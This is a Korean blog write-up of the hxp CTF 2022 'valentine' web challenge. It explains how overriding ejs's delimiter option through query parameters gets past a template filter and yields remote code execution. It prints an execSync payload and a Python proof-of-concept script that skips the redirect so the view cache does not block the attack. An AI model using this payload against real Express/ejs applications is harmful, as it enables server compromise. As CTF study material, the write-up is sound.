Home [CTF][hxp CTF 2022] valentine
Post
Cancel

[CTF][hxp CTF 2022] valentine

오랜만에 CTF에 참여했습니다. 앞으로는 좀 더 자주 참여하려구요. 참고로 이 문제는 기간동안 풀지 못했습니다. 했던 방법이 안돼서 뭔가 내가 모르는게 있나 싶었는데 끝나고 롸업을 보니 유저 이슈… 올해는 유저 이슈를 줄여보도록 하자라고 마음먹었는데 제 자신한테 화가 나내요🥲

분석


플레그 위치


플레그는 아래처럼 flag.txt로 존재하지만 Dockerfile을 보면 읽을 권한은 root만 가지고 있어서 우리는 readflag 바이너리를 실행해야합니다. 즉 RCE가 필요하다는 것을 알 수 있죠.

1
2
3
4
5
6
7
8
9
├── Dockerfile
├── app.js
├── docker-compose.yml
├── flag.txt
├── index.html
├── node_modules
├── package-lock.json
├── package.json
├── readflag


기능


아래처럼 /template 엔드포인트를 통해서 ejs 템플릿 구문을 사용할 수 있지만 <%= name %>만 허용하고 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// app.js: 19
app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});


취약점


ejs의 경우 템플릿 구문을 커스텀할 수 있는데 그렇게 되면 RCE를 할 수 있습니다. 그렇다면 어떻게 우회를 해야할까요? custom

유명한 취약점인 CVE-2022-29078ejs@3.1.6에서 RCE를 가능하게 합니다. req.query 객체를 한번에 res.render의 인자로 넘겨줄 때 발생하죠. 이 문제도 마찬가지로 그렇게 주고 있었습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// app.js: 43
app.get('/:template', function(req, res) {
  let query = req.query;
  console.log(`[+] query ==> ${JSON.stringify(query)}`)
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});


하지만 이 문제의 경우 3.1.8 버전이고 bodyParser.urlencoded의 extended가 false여서 객체의 객체를 파싱하지 못합니다. 하지만 해당 취약점의 글을 자세히 보면 ejs 내부에서 쓰는 옵션을 쿼리 스트링형식으로 전달해주면 그것을 덮어씌울 수 있게됩니다. 따라서 delimeter를 커스텀하여 <%= name %>를 우회할 수 있게 됩니다.

1
2
3
4
...

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];


Exploit


아래와 같이 원하는 delimeter만 설정하여 RCE 페이로드를 tmpl으로 설정해주고 delimeter를 넘겨주면 됩니다.

1
<@- process.mainModule.require('child_process').execSync('/readflag') @>


하지만 tmpl을 작성하고 전송하면 해당 파일로 바로 Redirect 됩니다. Dockerfile을 보면 아래와 같은 설정이 존재하는데 바로 express에서 캐싱을 설정하는 것이었죠. 리다이렉트되면 기본 delimeter%가 캐싱되는 것이죠. 따라서 리다이렉트되고 나서 delimeter 파라미터를 설정해줘도 정상적으로 exploit이 되지 않았던 이유입니다. 제가 풀지 못했던 이유가 이것입니다… 좀 더 생각해보고 시도했으면 풀었을텐데 너무 아쉽네요

1
ENV NODE_ENV=production


1
2
3
if (env === 'production') {
  this.enable('view cache');
}


PoC Code


요청을 보낼때 allow_redirectsfalse로 설정해주어 리다이렉트를 막으면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from requests import post, get
from re import search

info = lambda x : print(f"[+] {x}")

URL ='http://168.119.235.41:9086'
FLAG =''


res = post(f"{URL}/template", data={"tmpl":"<@- process.mainModule.require('child_process').execSync('/readflag') @>"}, allow_redirects=False)

m = search(r"Redirecting to /(?P<uuid>.*?)?name=", res.text)
res = get(f"{URL}/{m.group('uuid')}?name=a&delimiter=@")
m = search(r"hxp{.*?}", res.text)
if m :
    FLAG = m.group()
    info(f'Flag is {FLAG}')
else :
    print(f"[-] Failed to find the flag")


추가


본문에 취소선을 한 이유는 express.urlencoded와 혼동했기 때문입니다. 결론은 bodyParser.urlencoded는 아무런 영향이 없습니다. 따라서 3.1.8버전의 0-day exploit이 가능할 수 있지만 이 역시 캐시 때문에 되지 않을겁니다. 아무튼 드림핵에 ejs@3.1.8Note 문제가 있는데 이 문제와 같이 보면 이해하는데 아주 도움이 될 것 같습니다.

Reference


[Hackthebox] Waiting

[CTF][WolvCTF 2023] Writeup

Comments powered by Disqus.